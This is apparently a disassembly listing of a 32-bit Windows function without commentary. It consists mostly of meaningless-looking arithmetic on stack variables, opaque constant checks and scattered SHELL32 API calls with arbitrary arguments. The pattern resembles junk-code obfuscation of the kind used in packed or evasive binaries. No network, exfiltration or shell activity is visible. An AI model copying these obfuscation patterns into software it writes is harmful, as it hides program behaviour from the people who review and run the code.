mov al, byte [ebp - 0x4429]
mov byte [ebp - 0xa218], al
cmp byte [ebp - 0xa218], 0x56
je 0x404841
jmp 0x4048f8
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ebp - 0xc4]
add edx, dword [ecx]
mov eax, dword [ebp - 0x19b4]
mov ecx, dword [ebp - 0x95d0]
sub ecx, dword [eax]
cmp edx, ecx
jne 0x4048ba
lea edx, [ebp - 0x86e4]
push edx
lea eax, [ebp - 0xf38]
push eax
lea ecx, [ebp - 0x8194]
push ecx
push 0x6f
lea edx, [ebp - 0x3d88]
push edx
call dword [sym.imp.SHELL32.dll_PathMakeUniqueName]
mov dword [ebp - 0x74f8], eax
movzx eax, byte [ebp - 0x30a5]
movzx ecx, byte [ebp - 0x2e8e]
sub eax, ecx
mov byte [ebp - 0x5d05], al
movzx edx, word [section..data]
movzx eax, word [ebp - 0x4b34]
add edx, eax
mov ecx, dword [ebp - 0x66b8]
mov word [ecx], dx
lea edx, [ebp - 0x20f0]
push edx
call dword [sym.imp.SHELL32.dll_ILClone]
mov dword [ebp - 0x6c64], eax
mov eax, dword [ebp - 0x1a68]
sub eax, dword [ebp - 0x659c]
mov ecx, dword [ebp - 0x4f00]
mov dword [ecx], eax
mov edx, dword [ebp - 0x659c]
and edx, dword [ebp - 0x95d0]
mov dword [ebp - 0xc4], edx
jmp 0x483ced
mov eax, dword [ebp - 0x3d88]
mov ecx, dword [ebp - 0x4c04]
add ecx, dword [eax]
mov edx, dword [ebp - 0x1234]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4f00]
mov edx, dword [ebp - 0x2854]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x19b4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [ebp - 0x38ac]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0x95d0], eax
movsx ecx, byte [ebp - 0x4429]
mov edx, dword [ebp - 0x6bb4]
movsx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x43c5], cl
mov ecx, dword [ebp - 0x27f4]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x7074]
shl edx, cl
mov eax, dword [ebp - 0x27f4]
mov word [eax], dx
mov ecx, dword [ebp - 0x61e8]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x30a5]
sub edx, eax
mov byte [ebp - 0x2e8e], dl
movzx ecx, word [ebp - 0x3ea8]
movzx edx, word [ebp - 0x4b34]
and ecx, edx
mov word [section..data], cx
mov eax, dword [ebp - 0x1c44]
add eax, dword [ebp - 0x4c04]
mov dword [ebp - 0x590], eax
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [ebp - 0x19b4]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x8880]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3120]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x4b34]
sub eax, ecx
mov word [ebp - 0x3ea8], ax
mov edx, dword [ebp - 0x645c]
add edx, 0x67
mov dword [ebp - 0x645c], edx
movzx eax, byte [ebp - 0x5d05]
movzx ecx, byte [ebp - 0x30a5]
add eax, ecx
mov byte [ebp - 0x2e8e], al
mov edx, dword [ebp - 0x3d88]
mov eax, dword [ebp - 0x5944]
add eax, dword [edx]
mov ecx, dword [ebp - 0x1234]
mov dword [ecx], eax
mov edx, dword [ebp - 0x38ac]
mov eax, dword [edx]
add eax, dword [ebp - 0x95d0]
mov dword [ebp - 0x659c], eax
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x1a68]
mov dword [ebp - 0x2854], edx
mov eax, dword [ebp - 0x1234]
mov ecx, dword [ebp - 0x86c0]
and ecx, dword [eax]
mov edx, dword [ebp - 0x3d88]
mov dword [edx], ecx
mov eax, dword [ebp - 0x61e8]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x5d05]
xor ecx, edx
mov eax, dword [ebp - 0x61e8]
mov byte [eax], cl
movzx edx, word [ebp - 0x4b34]
mov eax, dword [ebp - 0x3120]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x3ea8], dx
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [ebp - 0x19b4]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x95d0], eax
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ebp - 0x19b4]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x4f00]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x43c5]
mov eax, dword [ebp - 0x97b0]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x4429], dl
mov edx, dword [ebp - 0x27f4]
movsx eax, word [edx]
add eax, 0x30aa
mov word [ebp - 0x7074], ax
movzx ecx, byte [ebp - 0x5d05]
movzx edx, byte [ebp - 0x30a5]
and ecx, edx
mov eax, dword [ebp - 0x61e8]
mov byte [eax], cl
mov ecx, dword [ebp - 0x3120]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x66b8]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x4b34], dx
mov edx, dword [ebp - 0x1234]
mov eax, dword [edx]
sub eax, dword [ebp - 0x4c04]
mov ecx, dword [ebp - 0x3d88]
mov dword [ecx], eax
cmp dword [ebp - 0x645c], 0x10c06
jb 0x4048f8
mov edx, dword [ebp - 0x659c]
mov dword [0x48e8c4], edx
mov eax, dword [ebp - 0x3d88]
mov ecx, dword [ebp - 0x4c04]
add ecx, dword [eax]
mov edx, dword [ebp - 0x1c44]
add edx, dword [ebp - 0x1f88]
cmp ecx, edx
jae 0x404c1d
mov eax, dword [ebp - 0x8880]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x19b4]
add ecx, dword [edx]
mov eax, dword [ebp - 0x38ac]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x206c]
movzx edx, word [ecx]
mov dword [ebp - 0xa21c], edx
cmp dword [ebp - 0xa21c], 0xfaf
je 0x404ba8
jmp 0x404bc0
mov eax, dword [ebp - 0x38ac]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2854]
shl edx, cl
mov eax, dword [ebp - 0x38ac]
mov dword [eax], edx
lea ecx, [ebp - 0x6c94]
push ecx
call dword [sym.imp.SHELL32.dll_ILGetSize]
mov dword [ebp - 0x4c04], eax
mov edx, dword [ebp - 0x19b4]
mov eax, dword [edx]
or eax, dword [ebp - 0xc4]
mov dword [ebp - 0x1a68], eax
mov ecx, dword [ebp - 0x6bb4]
movzx edx, byte [ecx]
push edx
movzx eax, byte [ebp - 0x4429]
push eax
mov ecx, dword [ebp - 0xa038]
movzx edx, byte [ecx]
push edx
movzx eax, byte [ebp - 0x4429]
push eax
movzx ecx, byte [ebp - 0x4429]
push ecx
call fcn.00484980
jmp 0x483cb6
mov edx, dword [ebp - 0x3120]
mov ax, word [edx]
mov word [ebp - 0x8220], ax
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x2854]
mov eax, dword [ebp - 0x95d0]
mov ecx, dword [ebp - 0x1a68]
sar eax, cl
cmp edx, eax
je 0x404c65
movzx ecx, byte [ebp - 0x5d05]
mov edx, dword [ebp - 0x61e8]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x30a5], cl
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x1c44]
mov eax, dword [ebp - 0x1234]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2854]
mov eax, dword [ebp - 0x4f00]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1a68]
and ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x659c], ecx
mov edx, dword [ebp - 0x86c0]
add edx, dword [ebp - 0x1c44]
mov eax, dword [ebp - 0x3d88]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x30a5]
movzx edx, byte [ebp - 0x2e8e]
add ecx, edx
mov eax, dword [ebp - 0x61e8]
mov byte [eax], cl
movzx ecx, word [ebp - 0x8220]
mov edx, dword [ebp - 0x66b8]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x4b34], cx
mov ecx, dword [ebp - 0x27f4]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x7074]
sub edx, eax
mov ecx, dword [ebp - 0x27f4]
mov word [ecx], dx
movsx edx, byte [ebp - 0x4429]
movsx eax, byte [ebp - 0x43c5]
sub edx, eax
mov ecx, dword [ebp - 0x97b0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x5944]
mov ecx, dword [ebp - 0x590]
shl edx, cl
mov eax, dword [ebp - 0x3d88]
mov dword [eax], edx
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ebp - 0x38ac]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x4f00]
mov dword [ecx], eax
movzx edx, word [section..data]
mov eax, dword [ebp - 0x206c]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x66b8]
mov word [ecx], dx
mov edx, dword [ebp - 0x20f8]
sub edx, 0xc1
mov dword [ebp - 0x20f8], edx
movzx eax, byte [ebp - 0x2e8e]
movzx ecx, byte [ebp - 0x30a5]
or eax, ecx
mov byte [ebp - 0x5d05], al
mov edx, dword [ebp - 0x4f00]
mov eax, dword [ebp - 0xc4]
and eax, dword [edx]
mov ecx, dword [ebp - 0x19b4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5944]
add edx, dword [ebp - 0x1f88]
mov dword [ebp - 0x590], edx
mov eax, dword [ebp - 0x8880]
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x95d0], edx
mov eax, dword [ebp - 0x38ac]
mov ecx, dword [ebp - 0x1a68]
add ecx, dword [eax]
mov edx, dword [ebp - 0x8880]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3120]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x8220]
add ecx, edx
mov eax, dword [ebp - 0x206c]
mov word [eax], cx
mov ecx, dword [ebp - 0x61e8]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x2e8e]
and edx, eax
mov ecx, dword [ebp - 0x61e8]
mov byte [ecx], dl
mov edx, dword [ebp - 0x3d88]
mov eax, dword [edx]
add eax, dword [ebp - 0x1c44]
mov dword [ebp - 0x1f88], eax
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ebp - 0x8880]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x19b4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1a68]
sub edx, dword [ebp - 0x659c]
mov eax, dword [ebp - 0x4f00]
mov dword [eax], edx
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ebp - 0x8880]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [0x48e8c4], eax
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ebp - 0xc4]
or edx, dword [ecx]
mov dword [ebp - 0x2854], edx
mov eax, dword [ebp - 0xa038]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x4429]
sar edx, cl
mov eax, dword [ebp - 0x97b0]
mov byte [eax], dl
mov ecx, dword [ebp - 0x27f4]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x7074]
xor edx, eax
mov ecx, dword [ebp - 0x27f4]
mov word [ecx], dx
movzx edx, byte [ebp - 0x5d05]
mov eax, dword [ebp - 0x61e8]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x30a5], dl
movzx ecx, word [ebp - 0x3ea8]
movzx edx, word [ebp - 0x4b34]
and ecx, edx
mov eax, dword [ebp - 0x3120]
mov word [eax], cx
mov ecx, dword [ebp - 0x1234]
mov edx, dword [ebp - 0x1f88]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x3d88]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x5944]
mov eax, dword [ebp - 0x1234]
mov dword [eax], edx
movzx ecx, word [ebp - 0x8220]
mov edx, dword [ebp - 0x3120]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x3ea8], cx
movzx ecx, byte [ebp - 0x5d05]
movzx edx, byte [ebp - 0x30a5]
add ecx, edx
mov eax, dword [ebp - 0x61e8]
mov byte [eax], cl
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ebp - 0x2854]
add edx, dword [ecx]
mov eax, dword [ebp - 0x38ac]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1234]
mov edx, dword [ebp - 0x3d88]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x1234]
mov dword [ecx], eax
mov edx, dword [ebp - 0x38ac]
mov eax, dword [ebp - 0x2854]
add eax, dword [edx]
mov dword [ebp - 0x95d0], eax
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x95d0]
mov dword [ebp - 0x659c], edx
movzx eax, byte [ebp - 0x5d05]
mov ecx, dword [ebp - 0x61e8]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x30a5], al
movzx eax, word [ebp - 0x4b34]
movzx ecx, word [section..data]
shl eax, cl
mov ecx, dword [ebp - 0x206c]
mov word [ecx], ax
mov edx, dword [ebp - 0x1234]
mov eax, dword [edx]
or eax, dword [ebp - 0x86c0]
mov ecx, dword [ebp - 0x3d88]
mov dword [ecx], eax
mov edx, dword [ebp - 0x19b4]
mov eax, dword [ebp - 0x8880]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x4f00]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x95d0]
mov dword [0x48e8c4], edx
mov eax, dword [ebp - 0x6bb4]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x43c5]
and ecx, edx
mov byte [ebp - 0x4429], cl
mov eax, dword [ebp - 0x206c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3120]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x4b34], cx
movzx ecx, byte [ebp - 0x5d05]
mov edx, dword [ebp - 0x61e8]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x30a5], cl
mov ecx, dword [ebp - 0x1234]
mov edx, dword [ebp - 0x590]
add edx, dword [ecx]
mov dword [ebp - 0x1f88], edx
mov eax, dword [ebp - 0x2854]
sub eax, dword [ebp - 0x659c]
mov ecx, dword [ebp - 0x38ac]
mov dword [ecx], eax
cmp dword [ebp - 0x20f8], 0xe75
jae 0x404c65
lea edx, [ebp - 0x1a68]
mov dword [ebp - 0x4650], edx
movsx eax, word [ebp - 0x7074]
mov dword [ebp - 0xa220], eax
cmp dword [ebp - 0xa220], 0
je 0x4050b3
jmp 0x405100
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1234]
add edx, dword [eax]
mov dword [ebp - 0x86c0], edx
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ebp - 0x4f00]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x38ac]
mov dword [ecx], eax
mov dx, word [ebp - 0x8220]
mov word [ebp - 0x5728], dx
lea eax, [ebp - 0x30a5]
mov dword [ebp - 0x6224], eax
jmp 0x4051c7
mov ecx, dword [ebp - 0x4294]
push ecx
call dword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov dword [ebp - 0x79e0], eax
mov edx, dword [ebp - 0x6224]
mov al, byte [edx]
mov byte [ebp - 0xa224], al
cmp byte [ebp - 0xa224], 0x4e
je 0x4051ae
cmp byte [ebp - 0xa224], 0x74
je 0x40513c
jmp 0x4051c7
mov ecx, dword [ebp - 0x4650]
mov edx, dword [ecx]
and edx, dword [ebp - 0x659c]
mov eax, dword [ebp - 0x4f00]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1234]
mov edx, dword [ecx]
add edx, dword [ebp - 0x1f88]
mov dword [ebp - 0x590], edx
mov eax, dword [ebp - 0x8880]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x1a68]
mov edx, dword [ebp - 0x4f00]
mov dword [edx], ecx
push 0xb6
push 0x8f
push 0xc0
mov eax, dword [ebp - 0x40e4]
push eax
call dword [sym.imp.SHELL32.dll_SHUpdateImageW]
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x1a68]
mov dword [ebp - 0xc4], edx
jmp 0x4051c7
movzx eax, word [ebp - 0x4b34]
movzx ecx, word [ebp - 0x3ea8]
sar eax, cl
mov ecx, dword [ebp - 0x66b8]
mov word [ecx], ax
mov edx, dword [ebp - 0x61e8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x6224]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 0x30a5], al
mov edx, dword [ebp - 0x1234]
mov eax, dword [edx]
mov dword [ebp - 0xa228], eax
cmp dword [ebp - 0xa228], 0
je 0x4051fd
jmp 0x405320
mov ecx, dword [ebp - 0x61e8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x6224]
movzx ecx, byte [eax]
add edx, ecx
movzx eax, byte [ebp - 0x30a5]
movzx ecx, byte [ebp - 0x5d05]
and eax, ecx
cmp edx, eax
jl 0x405309
mov edx, dword [ebp - 0x61e8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x6224]
movzx edx, byte [ecx]
sub eax, edx
movzx ecx, byte [ebp - 0x5d05]
movzx edx, byte [ebp - 0x30a5]
add ecx, edx
cmp eax, ecx
jge 0x4052c5
mov eax, dword [ebp - 0x4c04]
add eax, dword [ebp - 0x86c0]
mov dword [0x48d004], eax
mov ecx, dword [ebp - 0x1f88]
mov dword [ebp - 0xa22c], ecx
cmp dword [ebp - 0xa22c], 0x483e3995
je 0x40527c
jmp 0x4052c3
push 0x23
push 0x7a
push 0xde
mov edx, dword [ebp - 0x40e4]
push edx
call dword [sym.imp.SHELL32.dll_SHUpdateImageW]
movzx eax, byte [ebp - 0x4429]
push eax
mov ecx, dword [ebp - 0x6bb4]
movzx edx, byte [ecx]
push edx
movzx eax, byte [ebp - 0x43c5]
push eax
movzx ecx, byte [ebp - 0x4429]
push ecx
mov edx, dword [ebp - 0xa038]
movzx eax, byte [edx]
push eax
call fcn.00484980
jmp 0x405307
mov ecx, dword [ebp - 0x6224]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x61e8]
movzx ecx, byte [eax]
sub edx, ecx
movzx eax, byte [ebp - 0x2e8e]
movzx ecx, byte [ebp - 0x5d05]
sub eax, ecx
cmp edx, eax
jge 0x405307
mov edx, dword [ebp - 0x97b0]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0xa038]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x43c5], al
jmp 0x40531e
movsx eax, word [ebp - 0x7074]
or eax, 0x87d
mov ecx, dword [ebp - 0x27f4]
mov word [ecx], ax
jmp 0x40532e
mov edx, dword [ebp - 0x4f00]
mov eax, dword [edx]
push eax
call fcn.00484640
mov ecx, dword [ebp - 0x3120]
movzx edx, word [ecx]
mov dword [ebp - 0xa230], edx
cmp dword [ebp - 0xa230], 0xe84
je 0x40534b
jmp 0x4053a2
movzx eax, word [ebp - 0x8220]
mov dword [ebp - 0xa234], eax
cmp dword [ebp - 0xa234], 0xdd7
je 0x405366
jmp 0x405387
movzx ecx, word [ebp - 0x7074]
push ecx
movzx edx, byte [ebp - 0x2e8e]
push edx
mov eax, dword [ebp - 0x206c]
movzx ecx, word [eax]
push ecx
call fcn.00484830
jmp 0x40539d
mov edx, dword [ebp - 0x19b4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xc4]
sar eax, cl
mov dword [ebp - 0x95d0], eax
jmp 0x483c82
lea ecx, [ebp - 0x2e8e]
mov dword [ebp - 0x6dfc], ecx
lea edx, [ebp - 0x5728]
mov dword [ebp - 0x5578], edx
movsx eax, word [ebp - 0x7074]
shl eax, 0x48
mov ecx, dword [ebp - 0x27f4]
movsx edx, word [ecx]
cmp eax, edx
jne 0x483c3f
mov eax, dword [ebp - 0x4650]
mov ecx, dword [ebp - 0x8880]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0x19b4]
mov ecx, dword [eax]
mov dword [ebp - 0xa238], ecx
cmp dword [ebp - 0xa238], 0x1d864687
je 0x405413
cmp dword [ebp - 0xa238], 0x6a08fe42
je 0x405427
jmp 0x40543b
mov edx, dword [ebp - 0x6bb4]
movzx eax, byte [edx]
push eax
call fcn.00484b30
add esp, 4
jmp 0x40543b
mov ecx, dword [ebp - 0xc4]
and ecx, dword [ebp - 0x2854]
mov edx, dword [ebp - 0x19b4]
mov dword [edx], ecx
mov dword [ebp - 0x743c], 0x4fc3
mov dword [ebp - 0x448], 0x6570
mov eax, dword [ebp - 0x1234]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1c44]
mov edx, dword [ebp - 0x1234]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x5d05]
mov ecx, dword [ebp - 0x6dfc]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x6224]
mov byte [ecx], al
mov edx, dword [ebp - 0x66b8]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3120]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x206c]
mov word [ecx], ax
mov edx, dword [ebp - 0x4650]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4f00]
add eax, dword [ecx]
mov dword [ebp - 0x1a68], eax
mov edx, dword [ebp - 0x38ac]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x8880]
add eax, dword [ecx]
mov edx, dword [ebp - 0x19b4]
mov dword [edx], eax
mov eax, dword [ebp - 0x3d88]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x590]
mov edx, dword [ebp - 0x3d88]
mov dword [edx], ecx
mov eax, dword [ebp - 0x8880]
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x8880]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ebp - 0x2854]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x4650]
mov dword [eax], edx
mov ecx, dword [ebp - 0x27f4]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x7074]
sar edx, cl
mov eax, dword [ebp - 0x27f4]
mov word [eax], dx
movsx ecx, byte [ebp - 0x4429]
mov edx, dword [ebp - 0x97b0]
movsx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0xa038]
mov byte [edx], cl
mov eax, dword [ebp - 0x6dfc]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x61e8]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x5d05], dl
movzx ecx, word [ebp - 0x3ea8]
movzx edx, word [ebp - 0x8220]
xor ecx, edx
mov eax, dword [ebp - 0x3120]
mov word [eax], cx
mov ecx, dword [ebp - 0x448]
add ecx, 0xb4
mov dword [ebp - 0x448], ecx
mov edx, dword [ebp - 0x3d88]
mov eax, dword [ebp - 0x1234]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x4c04], ecx
mov edx, dword [ebp - 0x8880]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4650]
add eax, dword [ecx]
mov dword [ebp - 0x2854], eax
movzx edx, byte [ebp - 0x5d05]
movzx eax, byte [ebp - 0x30a5]
sub edx, eax
mov ecx, dword [ebp - 0x61e8]
mov byte [ecx], dl
mov edx, dword [ebp - 0x3120]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x66b8]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0x8220], ax
mov eax, dword [ebp - 0x1234]
mov ecx, dword [ebp - 0x4c04]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x3d88]
mov dword [edx], ecx
mov eax, dword [ebp - 0x8880]
mov ecx, dword [ebp - 0x4650]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x19b4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4650]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x38ac]
add edx, dword [eax]
mov ecx, dword [ebp - 0x4f00]
mov dword [ecx], edx
mov edx, dword [ebp - 0x4c04]
add edx, dword [ebp - 0x590]
mov dword [ebp - 0x1f88], edx
mov eax, dword [ebp - 0x66b8]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x4b34]
add ecx, edx
mov eax, dword [ebp - 0x66b8]
mov word [eax], cx
mov ecx, dword [ebp - 0x6dfc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x6224]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x6dfc]
mov byte [ecx], dl
mov edx, dword [ebp - 0x2854]
or edx, dword [ebp - 0x1a68]
mov eax, dword [ebp - 0x4650]
mov dword [eax], edx
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x95d0]
shl edx, cl
mov eax, dword [ebp - 0x38ac]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x43c5]
mov edx, dword [ebp - 0x97b0]
movsx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x4429], cl
movsx ecx, word [ebp - 0x7074]
and ecx, 0x2033
mov edx, dword [ebp - 0x27f4]
mov word [edx], cx
movzx eax, word [ebp - 0x3ea8]
movzx ecx, word [ebp - 0x8220]
sub eax, ecx
mov edx, dword [ebp - 0x5578]
mov word [edx], ax
mov eax, dword [ebp - 0x6dfc]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x61e8]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x6224]
mov byte [edx], cl
mov eax, dword [ebp - 0x5944]
add eax, dword [ebp - 0x86c0]
mov ecx, dword [ebp - 0x1234]
mov dword [ecx], eax
cmp dword [ebp - 0x448], 0x9c48
jbe 0x40544f
mov edx, dword [ebp - 0x86c0]
mov dword [ebp - 0x8ef0], edx
mov eax, dword [ebp - 0x2854]
add eax, dword [ebp - 0x659c]
mov ecx, dword [ebp - 0x8880]
mov dword [ecx], eax
mov edx, dword [ebp - 0x97b0]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x4429]
and eax, ecx
mov edx, dword [ebp - 0x6bb4]
movsx ecx, byte [edx]
movsx edx, byte [ebp - 0x43c5]
add ecx, edx
cmp eax, ecx
jge 0x4057cc
push 0xa5
call dword [sym.imp.SHELL32.dll_SHChangeNotifyDeregister]
mov dword [ebp - 0xb88], eax
mov eax, dword [ebp - 0x2854]
sub eax, dword [ebp - 0x1a68]
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0x6bb4]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x97b0]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x6bb4]
movzx eax, byte [edx]
push eax
movzx ecx, byte [ebp - 0x43c5]
push ecx
movzx edx, byte [ebp - 0x43c5]
push edx
call fcn.00484980
jmp 0x405956
movsx eax, byte [ebp - 0x4429]
movsx ecx, byte [ebp - 0x43c5]
sub eax, ecx
mov edx, dword [ebp - 0x6bb4]
movsx ecx, byte [edx]
mov edx, dword [ebp - 0xa038]
movsx edx, byte [edx]
or ecx, edx
cmp eax, ecx
je 0x40580a
mov eax, dword [ebp - 0x95d0]
mov ecx, dword [ebp - 0x659c]
shl eax, cl
mov ecx, dword [ebp - 0x19b4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x19b4]
mov eax, dword [ebp - 0xc4]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ebp - 0x4f00]
mov esi, dword [ecx]
mov ecx, dword [edx]
sar esi, cl
cmp eax, esi
jg 0x40593b
mov eax, dword [ebp - 0x6dfc]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x6224]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x61e8]
mov byte [edx], cl
lea eax, [ebp - 0x3ea8]
mov dword [ebp - 0x3024], eax
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [ecx]
add edx, dword [ebp - 0x1f88]
mov dword [ebp - 0x5944], edx
mov eax, dword [ebp - 0x1234]
mov ecx, dword [ebp - 0x8ef0]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x1f88]
add edx, dword [ebp - 0x1c44]
cmp ecx, edx
ja 0x405939
mov eax, dword [ebp - 0x61e8]
mov cl, byte [eax]
mov byte [ebp - 0xa23c], cl
cmp byte [ebp - 0xa23c], 0
je 0x4058a9
jmp 0x4058df
mov edx, dword [0x48e8c4]
and edx, dword [ebp - 0x1a68]
mov dword [ebp - 0x6e40], edx
mov eax, dword [ebp - 0x4f00]
mov ecx, dword [ebp - 0x4650]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x6e40], edx
lea eax, [ebp - 0x4c04]
mov dword [ebp - 0x55a8], eax
jmp 0x405939
mov ecx, dword [ebp - 0x61e8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x6224]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x30a5], dl
mov edx, dword [ebp - 0x71b4]
push edx
call dword [sym.imp.SHELL32.dll_DragFinish]
movzx eax, word [ebp - 0x4b34]
mov ecx, dword [ebp - 0x3120]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x66b8]
mov word [ecx], ax
mov edx, dword [ebp - 0x97b0]
movsx eax, byte [edx]
